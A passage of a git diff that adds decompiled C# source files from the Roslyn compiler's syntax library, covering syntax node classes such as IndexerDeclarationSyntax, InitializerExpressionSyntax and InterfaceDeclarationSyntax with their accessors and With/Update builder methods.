(might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, ThisKeyword, parameterList, AccessorList, ExpressionBody, SemicolonToken); + } + + internal override BasePropertyDeclarationSyntax WithAccessorListCore(AccessorListSyntax? accessorList) + { + return WithAccessorList(accessorList); + } + + public new IndexerDeclarationSyntax WithAccessorList(AccessorListSyntax? accessorList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, ThisKeyword, ParameterList, accessorList, ExpressionBody, SemicolonToken); + } + + public IndexerDeclarationSyntax WithExpressionBody(ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, ThisKeyword, ParameterList, AccessorList, expressionBody, SemicolonToken); + } + + public IndexerDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Type, ExplicitInterfaceSpecifier, ThisKeyword, ParameterList, AccessorList, ExpressionBody, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new IndexerDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new IndexerDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + public IndexerDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameterList(ParameterList.WithParameters(ParameterList.Parameters.AddRange((IEnumerable)items))); + } + + internal override BasePropertyDeclarationSyntax AddAccessorListAccessorsCore(params AccessorDeclarationSyntax[] items) + { + return AddAccessorListAccessors(items); + } + + public new IndexerDeclarationSyntax AddAccessorListAccessors(params AccessorDeclarationSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + AccessorListSyntax accessorListSyntax = AccessorList ?? SyntaxFactory.AccessorList(); + return WithAccessorList(accessorListSyntax.WithAccessors(accessorListSyntax.Accessors.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IndexerMemberCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IndexerMemberCrefSyntax.cs new file mode 100644 index 0000000..1d4bfde --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IndexerMemberCrefSyntax.cs @@ -0,0 +1,87 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class IndexerMemberCrefSyntax : MemberCrefSyntax +{ + private CrefBracketedParameterListSyntax? parameters; + + public SyntaxToken ThisKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IndexerMemberCrefSyntax)(object)((SyntaxNode)this).Green).thisKeyword, ((SyntaxNode)this).Position, 0); + + public CrefBracketedParameterListSyntax? Parameters => ((SyntaxNode)this).GetRed(ref parameters, 1); + + internal IndexerMemberCrefSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref parameters, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)parameters; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIndexerMemberCref(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIndexerMemberCref(this); + } + + public IndexerMemberCrefSyntax Update(SyntaxToken thisKeyword, CrefBracketedParameterListSyntax? parameters) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (thisKeyword != ThisKeyword || parameters != Parameters) + { + IndexerMemberCrefSyntax indexerMemberCrefSyntax = SyntaxFactory.IndexerMemberCref(thisKeyword, parameters); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return indexerMemberCrefSyntax; + } + return indexerMemberCrefSyntax.WithAnnotations(annotations); + } + return this; + } + + public IndexerMemberCrefSyntax WithThisKeyword(SyntaxToken thisKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(thisKeyword, Parameters); + } + + public IndexerMemberCrefSyntax WithParameters(CrefBracketedParameterListSyntax? parameters) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(ThisKeyword, parameters); + } + + public IndexerMemberCrefSyntax AddParametersParameters(params CrefParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + CrefBracketedParameterListSyntax crefBracketedParameterListSyntax = Parameters ?? SyntaxFactory.CrefBracketedParameterList(); + return WithParameters(crefBracketedParameterListSyntax.WithParameters(crefBracketedParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InitializerExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InitializerExpressionSyntax.cs new file mode 100644 index 0000000..d53f7bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InitializerExpressionSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class InitializerExpressionSyntax : ExpressionSyntax +{ + private SyntaxNode? expressions; + + public SyntaxToken OpenBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InitializerExpressionSyntax)(object)((SyntaxNode)this).Green).openBraceToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Expressions + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref expressions, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InitializerExpressionSyntax)(object)((SyntaxNode)this).Green).closeBraceToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal InitializerExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref expressions, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return expressions; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInitializerExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInitializerExpression(this); + } + + public InitializerExpressionSyntax Update(SyntaxToken openBraceToken, SeparatedSyntaxList expressions, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken != OpenBraceToken || expressions != Expressions || closeBraceToken != CloseBraceToken) + { + InitializerExpressionSyntax initializerExpressionSyntax = SyntaxFactory.InitializerExpression(Kind(), openBraceToken, expressions, closeBraceToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return initializerExpressionSyntax; + } + return initializerExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public InitializerExpressionSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openBraceToken, Expressions, CloseBraceToken); + } + + public InitializerExpressionSyntax WithExpressions(SeparatedSyntaxList expressions) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBraceToken, expressions, CloseBraceToken); + } + + public InitializerExpressionSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBraceToken, Expressions, closeBraceToken); + } + + public InitializerExpressionSyntax AddExpressions(params ExpressionSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithExpressions(Expressions.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InstanceExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InstanceExpressionSyntax.cs new file mode 100644 index 0000000..fcfad78 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InstanceExpressionSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class InstanceExpressionSyntax : ExpressionSyntax +{ + internal InstanceExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterfaceDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterfaceDeclarationSyntax.cs new file mode 100644 index 0000000..39c3184 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterfaceDeclarationSyntax.cs @@ -0,0 +1,536 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class InterfaceDeclarationSyntax : TypeDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeParameterListSyntax? typeParameterList; + + private ParameterListSyntax? parameterList; + + private BaseListSyntax? baseList; + + private SyntaxNode? constraintClauses; + + private SyntaxNode? members; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterfaceDeclarationSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterfaceDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override TypeParameterListSyntax? TypeParameterList => ((SyntaxNode)this).GetRed(ref typeParameterList, 4); + + public override ParameterListSyntax? ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 5); + + public override BaseListSyntax? BaseList => ((SyntaxNode)this).GetRed(ref baseList, 6); + + public override SyntaxList ConstraintClauses => new SyntaxList(((SyntaxNode)this).GetRed(ref constraintClauses, 7)); + + public override SyntaxToken OpenBraceToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openBraceToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterfaceDeclarationSyntax)(object)((SyntaxNode)this).Green).openBraceToken; + if (openBraceToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)openBraceToken, ((SyntaxNode)this).GetChildPosition(8), ((SyntaxNode)this).GetChildIndex(8)); + } + } + + public override SyntaxList Members => new SyntaxList(((SyntaxNode)this).GetRed(ref members, 9)); + + public override SyntaxToken CloseBraceToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken closeBraceToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterfaceDeclarationSyntax)(object)((SyntaxNode)this).Green).closeBraceToken; + if (closeBraceToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)closeBraceToken, ((SyntaxNode)this).GetChildPosition(10), ((SyntaxNode)this).GetChildIndex(10)); + } + } + + public override SyntaxToken SemicolonToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterfaceDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(11), ((SyntaxNode)this).GetChildIndex(11)); + } + } + + public InterfaceDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, keyword, identifier, typeParameterList, ParameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + } + + internal InterfaceDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 4 => ((SyntaxNode)this).GetRed(ref typeParameterList, 4), + 5 => ((SyntaxNode)this).GetRed(ref parameterList, 5), + 6 => ((SyntaxNode)this).GetRed(ref baseList, 6), + 7 => ((SyntaxNode)this).GetRed(ref constraintClauses, 7), + 9 => ((SyntaxNode)this).GetRed(ref members, 9), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 4 => typeParameterList, + 5 => parameterList, + 6 => baseList, + 7 => constraintClauses, + 9 => members, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterfaceDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterfaceDeclaration(this); + } + + public InterfaceDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || keyword != Keyword || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || baseList != BaseList || constraintClauses != ConstraintClauses || openBraceToken != OpenBraceToken || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + InterfaceDeclarationSyntax interfaceDeclarationSyntax = SyntaxFactory.InterfaceDeclaration(attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return interfaceDeclarationSyntax; + } + return interfaceDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new InterfaceDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new InterfaceDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithKeywordCore(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithKeyword(keyword); + } + + public new InterfaceDeclarationSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithIdentifierCore(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithIdentifier(identifier); + } + + public new InterfaceDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithTypeParameterListCore(TypeParameterListSyntax? typeParameterList) + { + return WithTypeParameterList(typeParameterList); + } + + public new InterfaceDeclarationSyntax WithTypeParameterList(TypeParameterListSyntax? typeParameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, typeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithParameterListCore(ParameterListSyntax? parameterList) + { + return WithParameterList(parameterList); + } + + public new InterfaceDeclarationSyntax WithParameterList(ParameterListSyntax? parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, parameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithBaseListCore(BaseListSyntax? baseList) + { + return WithBaseList(baseList); + } + + public new InterfaceDeclarationSyntax WithBaseList(BaseListSyntax? baseList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, baseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithConstraintClausesCore(SyntaxList constraintClauses) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(constraintClauses); + } + + public new InterfaceDeclarationSyntax WithConstraintClauses(SyntaxList constraintClauses) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, constraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax 